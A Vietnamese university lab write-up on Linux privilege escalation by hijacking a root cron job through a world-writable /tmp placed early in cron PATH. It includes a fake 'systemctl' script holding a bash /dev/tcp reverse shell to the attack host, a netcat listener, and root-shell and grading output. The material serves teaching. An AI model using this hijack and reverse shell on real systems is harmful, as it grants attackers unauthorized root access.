

BỘ THÔNG TIN VÀ TRUYỀN THÔNG
HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

—o0o—



HƯỚNG DẪN THỰC HÀNH BÀI LAB 2

Chủ đề: Cron Jobs – Linux Privilege Escalation

Exploiting Cron Jobs – Cron PATH

Nhóm 6 - Thành viên:

Nguyễn Minh Quang – B19DCAT144 (Nhóm trưởng)

Nguyễn Đình Sáng – B19DCAT148

Trần Ngọc Huy – B19DCAT092

Nguyễn Hữu Thắng - B19DCAT187

Môn học: Chuyên đề an toàn phần mềm

Giảng viên hướng dẫn: ThS. Ninh Thị Thu Trang

Hà Nội - 2023

Mục Lục

1. Nội dung và hướng dẫn thực hiện bài thực hành.....	3
1.1 Mục đích	3
1.2 Yêu cầu đối với sinh viên.....	3
1.3 Nội dung bài thực hành	3
2. Thực hiện bài thực hành	4

1. Nội dung và hướng dẫn thực hiện bài thực hành

1.1 Mục đích

Giúp sinh viên hiểu cơ chế hoạt động của cron jobs và các mã đội đồ khai thác Cron PATH để leo thang đặc quyền

1.2 Yêu cầu đối với sinh viên

Có kiến thức về kiến trúc hệ điều hành Linux, viết script bash đơn giản

1.3 Nội dung bài thực hành

- Khởi động bài lab:

o Vào terminal, nhập: `startlab cron-path`

Sau khi khởi động xong 2 terminal attack xuất hiện

- Trên 1 terminal attack sử dụng để ssh vào máy victim, nhập:

`ssh victim@192.168.100.3` và nhập password là 123

- Liệt kê các Cron Jobs, nhập

`cat /etc/crontab`

- Xác định đối tượng để khai thác Cron Job, sau khi đọc nội dung tệp `/etc/crontab`, nhập:

`find / -iname [cron job name]`

- Kiểm tra quyền thư mục của các đối tượng, nhập:

`ls -la /|grep [tên thư mục]`

- Thiết lập khai thác và lấy Root Shell

`echo '#!/bin/bash' > /[Tên thư mục]/[tên cronjob]`

`echo "" >> /[Tên thư mục]/[tên cronjob]`

`echo 'bash -i >& /dev/tcp/192.168.100.2/1234 0>&1' >>`

`/[Tên thư mục]/[tên cronjob]`

- Mở nc trên terminal attack để kiểm tra shell, nhập:

`nc -nvlp 1234`

- Kết thúc bài lab, nhập:

`stoplab cron-path`

Khi kết thúc 1 tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab

- Kiểm tra kết quả

`checkwork cron-path`

- Khởi động lại bài

Trong quá trình sinh viên muốn làm lại bài lab

Startlab -r cron-path

2. Thực hiện bài thực hành

Trên terminal attack ssh vào máy victim với account victim:123

```
victim@victim: ~
File Edit View Search Terminal Help
attack@attack:~$ ssh victim@192.168.100.3
The authenticity of host '192.168.100.3 (192.168.100.3)' can't be established.
ECDSA key fingerprint is SHA256:ZtE8xi5Y50aUktZ/XtgjIs1c5jxYQB84Vq5ofmIgGng.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.3' (ECDSA) to the list of known hosts.
victim@192.168.100.3's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 4.18.0-15-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

victim@victim:~$
```

Hình 1: Thực hiện ssh từ attack vào victim

Xem nội dung crontab của hệ thống

```
victim@victim:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/root:/tmp:/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root    systemctl list-units --type=service --state=running >> /root/running_services.txt
* * * * * root    test.sh
0 2 * * 0 root    find /var/log/ -type f -name "*.log" -mtime +30 -exec rm {} \;
#
victim@victim:~$
```

Hình 2: Nội dung tệp /etc/crontab

Kiểm tra cách thực thi và nội dung của từng cronjob

```
victim@victim:~$ find / -iname test.sh 2>/dev/null
/tmp/test.sh
victim@victim:~$ cat /tmp/test.sh
#!/usr/bin/python
import os
import sys
try:
    os.system('rm -rf /tmp/nhom6.txt')
except:
    sys.exit()
victim@victim:~$ ls -la /tmp|grep test.sh
-r--r--r-- 1 root  root    102 Oct 28 10:50 test.sh
victim@victim:~$
```

Hình 3: Kiểm tra cronjob test.sh

```
victim@victim:~$ find / -iname systemctl 2>&1 | grep -v 'Permission denied'
/usr/share/bash-completion/completions/systemctl
/usr/bin/systemctl
victim@victim:~$
```

Hình 4: Kiểm tra cronjob systemctl

```
victim@victim:~$ ls -la / | grep "tmp"
drwxrwxrwt  1 root  root   4096 Oct 28 11:30 tmp
victim@victim:~$ ls -la /dev | grep "shm"
drwxrwxrwt  2 root  root      40 Oct 28 10:49 shm
victim@victim:~$
```

Hình 5: Kiểm tra quyền thư mục tmp

Sau khi kiểm tra cách thức thực thi và quyền đối với từ cronjob đối chiếu với /etc/crontab

Thấy cronjob systemctl có thể khai thác do quyền tệp và thư mục yếu và thứ tự thực thi có thể làm dừng ở cron PATH

Viết payload với mục đích lợi dụng account root trong cronjob system để reverse root_shell

```
victim@victim: ~
File Edit View Search Terminal Help
GNU nano 4.8 /tmp/systemctl
#!/bin/bash
bash -i >& /dev/tcp/192.168.100.2/1234 0>&1
```

Hình 6: Tạo payload kết nối đến máy attack

```
victim@victim:~$ cat /tmp/systemctl
#!/bin/bash
bash -i >& /dev/tcp/192.168.100.2/1234 0>&1
```

Hình 7: Xem lại nội dung payload kết nối đến máy attack vừa tạo

Cấp quyền thực thi

```
victim@victim:~$ nano /tmp/systemctl
victim@victim:~$ chmod 777 /tmp/systemctl
victim@victim:~$ ls -la /tmp|grep systemctl
-rwxrwxrwx 1 victim victim  56 Oct 28 11:32 systemctl
victim@victim:~$
```

Hình 9: Cấp quyền thực thi cho payload

Trên terminal của attack còn lại mở **nc -nvlp 1234** để nhận root shell

```
attack@attack: ~  
File Edit View Search Terminal Help  
attack@attack:~$ nc -nvlp 1234  
Listening on 0.0.0.0 1234  
Connection received on 192.168.100.3 57020  
bash: cannot set terminal process group (535): Inappropriate ioctl for device  
bash: no job control in this shell  
root@victim:~# cat file.txt  
cat file.txt  
cat file.txt  
My string is: e7f8eac5cf8f2cba3c94a9dcd7a52045  
root@victim:~#
```

Hình 10: Xem root shell trên attack

Kiểm tra kết quả đạt được

```
student@ubuntu:~/labtainer/labtainer-student$ checkwork cron-path  
Results stored in directory: /home/student/labtainer_xfer/cron-path  
Labname cron-path  
  
Student | cat_rootFile | Enum_Cron_Jobs | Iden_exp_Cron_J | Check_forder_pe | SetUp_Root_Shel |  
===== | ===== | ===== | ===== | ===== | ===== |  
B19DCAT144 | Y | Y | Y | Y | Y |  
What is automatically assessed for this lab:
```

Hình 11: Kiểm tra kết quả đạt được